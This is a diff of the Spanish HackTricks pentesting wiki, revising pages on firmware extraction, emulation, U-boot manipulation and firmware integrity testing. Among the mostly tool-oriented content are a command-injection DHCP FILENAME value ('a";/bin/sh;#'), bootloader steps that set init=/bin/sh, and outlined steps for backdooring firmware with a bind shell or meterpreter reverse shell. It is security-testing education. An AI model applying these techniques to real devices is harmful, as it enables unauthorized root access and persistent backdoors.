@ -107,7 +108,7 @@ Alternativamente, también se podría ejecutar el siguiente comando.
`$ unsquashfs dir.squashfs`
Los archivos estarán en el directorio "`squashfs-root`" posteriormente.
Los archivos estarán en el directorio "`squashfs-root`" después.
* Archivos de archivo CPIO
@ -117,20 +118,20 @@ Los archivos estarán en el directorio "`squashfs-root`" posteriormente.
`$ jefferson rootfsfile.jffs2`
* Para sistemas de archivos ubifs con flash NAND
* Para sistemas de archivos ubifs con NAND flash
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## Analizando Firmware
## Análisis de Firmware
Una vez que se obtiene el firmware, es esencial diseccionarlo para comprender su estructura y posibles vulnerabilidades. Este proceso implica utilizar varias herramientas para analizar y extraer datos valiosos de la imagen del firmware.
Una vez que se obtiene el firmware, es esencial diseccionarlo para entender su estructura y posibles vulnerabilidades. Este proceso implica utilizar varias herramientas para analizar y extraer datos valiosos de la imagen del firmware.
### Herramientas de Análisis Inicial
Se proporciona un conjunto de comandos para la inspección inicial del archivo binario (referido como `<bin>`). Estos comandos ayudan a identificar tipos de archivos, extraer cadenas, analizar datos binarios y comprender los detalles de particiones y sistemas de archivos:
Se proporciona un conjunto de comandos para la inspección inicial del archivo binario (denominado `<bin>`). Estos comandos ayudan a identificar tipos de archivos, extraer cadenas, analizar datos binarios y comprender los detalles de partición y sistema de archivos:
```bash
file <bin>
strings -n8 <bin>
@ -139,51 +140,53 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Para evaluar el estado de encriptación de la imagen, se verifica la **entropía** con `binwalk -E <bin>`. Una baja entropía sugiere una falta de encriptación, mientras que una alta entropía indica posible encriptación o compresión.
Para evaluar el estado de cifrado de la imagen, se verifica la **entropía** con `binwalk -E <bin>`. Una baja entropía sugiere una falta de cifrado, mientras que una alta entropía indica posible cifrado o compresión.
Para extraer **archivos incrustados**, se recomiendan herramientas y recursos como la documentación de **file-data-carving-recovery-tools** y **binvis.io** para inspección de archivos.
Para extraer **archivos incrustados**, se recomiendan herramientas y recursos como la documentación de **file-data-carving-recovery-tools** y **binvis.io** para la inspección de archivos.
### Extracción del Sistema de Archivos
### Extrayendo el Sistema de Archivos
Usando `binwalk -ev <bin>`, generalmente se puede extraer el sistema de archivos, a menudo en un directorio con el nombre del tipo de sistema de archivos (por ejemplo, squashfs, ubifs). Sin embargo, cuando **binwalk** no logra reconocer el tipo de sistema de archivos debido a la falta de bytes mágicos, es necesario realizar una extracción manual. Esto implica usar `binwalk` para localizar el desplazamiento del sistema de archivos, seguido por el comando `dd` para extraer el sistema de archivos:
Usando `binwalk -ev <bin>`, generalmente se puede extraer el sistema de archivos, a menudo en un directorio nombrado según el tipo de sistema de archivos (por ejemplo, squashfs, ubifs). Sin embargo, cuando **binwalk** no puede reconocer el tipo de sistema de archivos debido a bytes mágicos faltantes, es necesaria la extracción manual. Esto implica usar `binwalk` para localizar el desplazamiento del sistema de archivos, seguido del comando `dd` para extraer el sistema de archivos:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Después, dependiendo del tipo de sistema de archivos (por ejemplo, squashfs, cpio, jffs2, ubifs), se utilizan diferentes comandos para extraer manualmente el contenido.
### Análisis del Sistema de Archivos
Con el sistema de archivos extraído, comienza la búsqueda de fallas de seguridad. Se presta atención a los demonios de red inseguros, credenciales codificadas, puntos finales de API, funcionalidades del servidor de actualización, código no compilado, scripts de inicio y binarios compilados para análisis sin conexión.
Con el sistema de archivos extraído, comienza la búsqueda de fallos de seguridad. Se presta atención a demonios de red inseguros, credenciales codificadas, puntos finales de API, funcionalidades del servidor de actualizaciones, código no compilado, scripts de inicio y binarios compilados para análisis fuera de línea.
**Ubicaciones clave** e **elementos** a inspeccionar incluyen:
**Ubicaciones clave** y **elementos** a inspeccionar incluyen:
- **etc/shadow** y **etc/passwd** para credenciales de usuario
- Certificados SSL y claves en **etc/ssl**
- Certificados y claves SSL en **etc/ssl**
- Archivos de configuración y scripts en busca de vulnerabilidades potenciales
- Binarios integrados para análisis adicional
- Servidores web comunes de dispositivos IoT y binarios
- Binarios incrustados para un análisis más profundo
- Servidores web y binarios comunes de dispositivos IoT
Varias herramientas ayudan a descubrir información sensible y vulnerabilidades dentro del sistema de archivos:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) y [**Firmwalker**](https://github.com/craigz28/firmwalker) para búsqueda de información sensible
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) para análisis exhaustivo de firmware
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) y [**Firmwalker**](https://github.com/craigz28/firmwalker) para la búsqueda de información sensible
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) para un análisis completo de firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) y [**EMBA**](https://github.com/e-m-b-a/emba) para análisis estático y dinámico
### Verificaciones de Seguridad en Binarios Compilados
### Comprobaciones de Seguridad en Binarios Compilados
Tanto el código fuente como los binarios compilados encontrados en el sistema de archivos deben ser examinados en busca de vulnerabilidades. Herramientas como **checksec.sh** para binarios Unix y **PESecurity** para binarios de Windows ayudan a identificar binarios desprotegidos que podrían ser explotados.
Tanto el código fuente como los binarios compilados encontrados en el sistema de archivos deben ser examinados en busca de vulnerabilidades. Herramientas como **checksec.sh** para binarios de Unix y **PESecurity** para binarios de Windows ayudan a identificar binarios no protegidos que podrían ser explotados.
## Emulación de Firmware para Análisis Dinámico
## Emulando Firmware para Análisis Dinámico
El proceso de emular firmware permite el **análisis dinámico** de la operación de un dispositivo o de un programa individual. Este enfoque puede enfrentar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
El proceso de emular firmware permite un **análisis dinámico** ya sea del funcionamiento de un dispositivo o de un programa individual. Este enfoque puede encontrar desafíos con dependencias de hardware o arquitectura, pero transferir el sistema de archivos raíz o binarios específicos a un dispositivo con arquitectura y endianness coincidentes, como una Raspberry Pi, o a una máquina virtual preconstruida, puede facilitar pruebas adicionales.
### Emulación de Binarios Individuales
### Emulando Binarios Individuales
Para examinar programas individuales, es crucial identificar la endianness y la arquitectura de la CPU del programa.
Para examinar programas individuales, identificar el endianness y la arquitectura de la CPU del programa es crucial.
#### Ejemplo con Arquitectura MIPS
Para emular un binario de arquitectura MIPS, se puede utilizar el siguiente comando:
Para emular un binario de arquitectura MIPS, se puede usar el comando:
```bash
file ./squashfs-root/bin/busybox
```
@ -191,7 +194,9 @@ Y para instalar las herramientas de emulación necesarias:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
### Emulación de Arquitectura ARM
Para MIPS (big-endian), se utiliza `qemu-mips`, y para binarios little-endian, `qemu-mipsel` sería la elección.
#### Emulación de Arquitectura ARM
Para binarios ARM, el proceso es similar, utilizando el emulador `qemu-arm` para la emulación.
@ -199,17 +204,17 @@ Para binarios ARM, el proceso es similar, utilizando el emulador `qemu-arm` para
Herramientas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) y otras, facilitan la emulación completa de firmware, automatizando el proceso y ayudando en el análisis dinámico.
## Análisis Dinámico en la Práctica
## Análisis Dinámico en Práctica
En esta etapa, se utiliza un entorno de dispositivo real o emulado para el análisis. Es esencial mantener acceso a la shell del sistema operativo y al sistema de archivos. La emulación puede no replicar perfectamente las interacciones de hardware, lo que puede requerir reinicios ocasionales de la emulación. El análisis debe revisar el sistema de archivos, explotar páginas web expuestas y servicios de red, y explorar vulnerabilidades en el cargador de arranque. Las pruebas de integridad del firmware son críticas para identificar posibles vulnerabilidades de puerta trasera.
En esta etapa, se utiliza un entorno de dispositivo real o emulado para el análisis. Es esencial mantener acceso a la shell del sistema operativo y al sistema de archivos. La emulación puede no imitar perfectamente las interacciones de hardware, lo que requiere reinicios ocasionales de la emulación. El análisis debe revisar el sistema de archivos, explotar páginas web y servicios de red expuestos, y explorar vulnerabilidades del bootloader. Las pruebas de integridad del firmware son críticas para identificar posibles vulnerabilidades de puerta trasera.
## Técnicas de Análisis en Tiempo de Ejecución
El análisis en tiempo de ejecución implica interactuar con un proceso o binario en su entorno operativo, utilizando herramientas como gdb-multiarch, Frida y Ghidra para establecer puntos de interrupción e identificar vulnerabilidades a través de técnicas de fuzzing y otras.
El análisis en tiempo de ejecución implica interactuar con un proceso o binario en su entorno operativo, utilizando herramientas como gdb-multiarch, Frida y Ghidra para establecer puntos de interrupción e identificar vulnerabilidades a través de fuzzing y otras técnicas.
## Explotación de Binarios y Prueba de Concepto
## Explotación Binaria y Prueba de Concepto
Desarrollar un PoC para vulnerabilidades identificadas requiere un profundo entendimiento de la arquitectura objetivo y programación en lenguajes de bajo nivel. Las protecciones de tiempo de ejecución binario en sistemas integrados son raras, pero cuando están presentes, pueden ser necesarias técnicas como la Programación Orientada a Retornos (ROP).
Desarrollar un PoC para vulnerabilidades identificadas requiere un profundo entendimiento de la arquitectura objetivo y programación en lenguajes de bajo nivel. Las protecciones de tiempo de ejecución en sistemas embebidos son raras, pero cuando están presentes, técnicas como Return Oriented Programming (ROP) pueden ser necesarias.
## Sistemas Operativos Preparados para Análisis de Firmware
@ -217,31 +222,46 @@ Sistemas operativos como [AttifyOS](https://github.com/adi0x90/attifyos) y [Embe
## Sistemas Operativos Preparados para Analizar Firmware
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS es una distribución diseñada para ayudarte a realizar evaluaciones de seguridad y pruebas de penetración de dispositivos de Internet de las cosas (IoT). Te ahorra mucho tiempo al proporcionar un entorno preconfigurado con todas las herramientas necesarias cargadas.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo de pruebas de seguridad integrada basado en Ubuntu 18.04 precargado con herramientas de pruebas de seguridad de firmware.
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS es una distribución destinada a ayudarte a realizar evaluaciones de seguridad y pruebas de penetración de dispositivos de Internet de las Cosas (IoT). Te ahorra mucho tiempo al proporcionar un entorno preconfigurado con todas las herramientas necesarias cargadas.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo de pruebas de seguridad embebido basado en Ubuntu 18.04 precargado con herramientas de pruebas de seguridad de firmware.
## Firmware Vulnerable para Practicar
Para practicar descubriendo vulnerabilidades en firmware, utiliza los siguientes proyectos de firmware vulnerables como punto de partida.
Para practicar el descubrimiento de vulnerabilidades en firmware, utiliza los siguientes proyectos de firmware vulnerables como punto de partida.
* OWASP IoTGoat
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
* Proyecto de Firmware de Enrutador Muy Vulnerable (DVRF)
* The Damn Vulnerable Router Firmware Project
* [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
* Enrutador ARM Muy Vulnerable (DVAR)
* Damn Vulnerable ARM Router (DVAR)
* [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
* ARM-X
* [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
* Azeria Labs VM 2.0
* [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
* Dispositivo IoT Muy Vulnerable (DVID)
* Damn Vulnerable IoT Device (DVID)
* [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## Referencias
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
* [Hacking Práctico de IoT: La Guía Definitiva para Atacar el Internet de las Cosas](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
## Entrenamiento y Certificación
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Los siguientes pasos se recomiendan para modificar las configuraciones de inicio del dispositivo y los bootloaders como U-boot:
1. **Acceder a la Shell del Intérprete del Bootloader**:
- Durante el arranque, presiona "0", espacio u otros "códigos mágicos" identificados para acceder a la shell del intérprete del bootloader.
- Durante el arranque, presione "0", espacio u otros "códigos mágicos" identificados para acceder a la shell del intérprete del bootloader.
2. **Modificar los Argumentos de Arranque**:
- Ejecuta los siguientes comandos para agregar '`init=/bin/sh`' a los argumentos de arranque, permitiendo la ejecución de un comando de shell:
- Ejecute los siguientes comandos para agregar '`init=/bin/sh`' a los argumentos de arranque, permitiendo la ejecución de un comando de shell:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
@ -27,7 +28,7 @@ Los siguientes pasos se recomiendan para modificar las configuraciones de inicio
%%%
3. **Configurar un Servidor TFTP**:
- Configura un servidor TFTP para cargar imágenes a través de una red local:
- Configure un servidor TFTP para cargar imágenes a través de una red local:
%%%
#setenv ipaddr 192.168.2.2 #IP local del dispositivo
#setenv serverip 192.168.2.1 #IP del servidor TFTP
@ -38,19 +39,35 @@ Los siguientes pasos se recomiendan para modificar las configuraciones de inicio
%%%
4. **Utilizar `ubootwrite.py`**:
- Usa `ubootwrite.py` para escribir la imagen de U-boot y cargar un firmware modificado para obtener acceso de root.
- Use `ubootwrite.py` para escribir la imagen de U-boot y cargar un firmware modificado para obtener acceso root.
5. **Verificar las Características de Depuración**:
- Verifica si las características de depuración como el registro detallado, la carga de kernels arbitrarios o el arranque desde fuentes no confiables están habilitadas.
5. **Verificar Características de Depuración**:
- Verifique si las características de depuración como el registro detallado, la carga de núcleos arbitrarios o el arranque desde fuentes no confiables están habilitadas.
6. **Interferencia de Hardware con Precaución**:
- Ten precaución al conectar un pin a tierra e interactuar con chips de memoria flash SPI o NAND durante la secuencia de arranque del dispositivo, especialmente antes de que el kernel se descomprima. Consulta la hoja de datos del chip de memoria NAND antes de hacer cortocircuitos en los pines.
6. **Interferencia de Hardware Cautelosa**:
- Tenga cuidado al conectar un pin a tierra e interactuar con chips SPI o NAND flash durante la secuencia de arranque del dispositivo, particularmente antes de que el kernel se descomprima. Consulte la hoja de datos del chip NAND flash antes de hacer cortocircuito en los pines.
7. **Configurar un Servidor DHCP Malicioso**:
- Configura un servidor DHCP malicioso con parámetros maliciosos para que un dispositivo los ingiera durante un arranque PXE. Utiliza herramientas como el servidor auxiliar DHCP de Metasploit (MSF). Modifica el parámetro 'FILENAME' con comandos de inyección de comandos como `'a";/bin/sh;#'` para probar la validación de entrada en los procedimientos de inicio del dispositivo.
- Configure un servidor DHCP malicioso con parámetros dañinos para que un dispositivo los ingiera durante un arranque PXE. Utilice herramientas como el servidor auxiliar DHCP de Metasploit (MSF). Modifique el parámetro 'FILENAME' con comandos de inyección de comandos como `'a";/bin/sh;#'` para probar la validación de entrada en los procedimientos de inicio del dispositivo.
**Nota**: Los pasos que implican interacción física con los pines del dispositivo (*marcados con asteriscos) deben abordarse con extrema precaución para evitar dañar el dispositivo.
## Referencias
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,46 +1,60 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Integridad del Firmware
Los **firmwares personalizados y/o binarios compilados pueden ser cargados para explotar fallos de integridad o verificación de firmas**. Los siguientes pasos pueden seguirse para compilar un backdoor bind shell:
El **firmware personalizado y/o binarios compilados pueden ser subidos para explotar fallos de integridad o verificación de firma**. Se pueden seguir los siguientes pasos para la compilación de un shell de puerta trasera:
1. El firmware puede ser extraído usando firmware-mod-kit (FMK).
2. Debe identificarse la arquitectura y el endianness del firmware objetivo.
2. Se debe identificar la arquitectura y el endianness del firmware objetivo.
3. Se puede construir un compilador cruzado usando Buildroot u otros métodos adecuados para el entorno.
4. El backdoor puede ser construido usando el compilador cruzado.
5. El backdoor puede ser copiado al directorio /usr/bin del firmware extraído.
4. La puerta trasera puede ser construida usando el compilador cruzado.
5. La puerta trasera puede ser copiada al directorio /usr/bin del firmware extraído.
6. El binario QEMU apropiado puede ser copiado al rootfs del firmware extraído.
7. El backdoor puede ser emulado usando chroot y QEMU.
8. El backdoor puede ser accedido a través de netcat.
7. La puerta trasera puede ser emulada usando chroot y QEMU.
8. La puerta trasera puede ser accedida a través de netcat.
9. El binario QEMU debe ser eliminado del rootfs del firmware extraído.
10. El firmware modificado puede ser empaquetado de nuevo usando FMK.
11. El firmware con backdoor puede ser probado emulándolo con la herramienta de análisis de firmware (FAT) y conectándose a la IP y puerto del backdoor objetivo usando netcat.
10. El firmware modificado puede ser reempaquetado usando FMK.
11. El firmware con puerta trasera puede ser probado emulándolo con un kit de herramientas de análisis de firmware (FAT) y conectándose a la IP y puerto de la puerta trasera objetivo usando netcat.
Si ya se ha obtenido un shell de root a través de análisis dinámico, manipulación del cargador de arranque o pruebas de seguridad de hardware, se pueden ejecutar binarios maliciosos precompilados como implantes o reverse shells. Herramientas automatizadas de carga/implante como el framework Metasploit y 'msfvenom' pueden ser aprovechadas siguiendo los siguientes pasos:
Si ya se ha obtenido un shell root a través de análisis dinámico, manipulación del bootloader o pruebas de seguridad de hardware, se pueden ejecutar binarios maliciosos precompilados como implantes o shells reversos. Se pueden aprovechar herramientas automatizadas de carga útil/implante como el marco Metasploit y 'msfvenom' usando los siguientes pasos:
1. Debe identificarse la arquitectura y el endianness del firmware objetivo.
2. Msfvenom puede ser utilizado para especificar el payload objetivo, la IP del host atacante, el número de puerto de escucha, el tipo de archivo, la arquitectura, la plataforma y el archivo de salida.
3. El payload puede ser transferido al dispositivo comprometido y asegurarse de que tenga permisos de ejecución.
4. Metasploit puede ser preparado para manejar las solicitudes entrantes iniciando msfconsole y configurando los ajustes según el payload.
5. El reverse shell de meterpreter puede ser ejecutado en el dispositivo comprometido.
1. Se debe identificar la arquitectura y el endianness del firmware objetivo.
2. Msfvenom puede ser utilizado para especificar la carga útil objetivo, la IP del host atacante, el número de puerto de escucha, el tipo de archivo, la arquitectura, la plataforma y el archivo de salida.
3. La carga útil puede ser transferida al dispositivo comprometido y asegurarse de que tenga permisos de ejecución.
4. Metasploit puede ser preparado para manejar solicitudes entrantes iniciando msfconsole y configurando los ajustes de acuerdo con la carga útil.
5. El shell reverso de meterpreter puede ser ejecutado en el dispositivo comprometido.
6. Las sesiones de meterpreter pueden ser monitoreadas a medida que se abren.
7. Se pueden realizar actividades de post-explotación.
7. Se pueden realizar actividades posteriores a la explotación.
Si es posible, las vulnerabilidades dentro de los scripts de inicio pueden ser explotadas para obtener acceso persistente a un dispositivo a través de reinicios. Estas vulnerabilidades surgen cuando los scripts de inicio hacen referencia, [enlazan simbólicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), o dependen de código ubicado en ubicaciones montadas no confiables como tarjetas SD y volúmenes flash utilizados para almacenar datos fuera de los sistemas de archivos raíz.
Si es posible, se pueden explotar vulnerabilidades dentro de los scripts de inicio para obtener acceso persistente a un dispositivo a través de reinicios. Estas vulnerabilidades surgen cuando los scripts de inicio hacen referencia, [enlazan simbólicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), o dependen de código ubicado en ubicaciones montadas no confiables, como tarjetas SD y volúmenes flash utilizados para almacenar datos fuera de los sistemas de archivos raíz.
## Referencias
* Para más información consulta [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
* Para más información, consulta [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more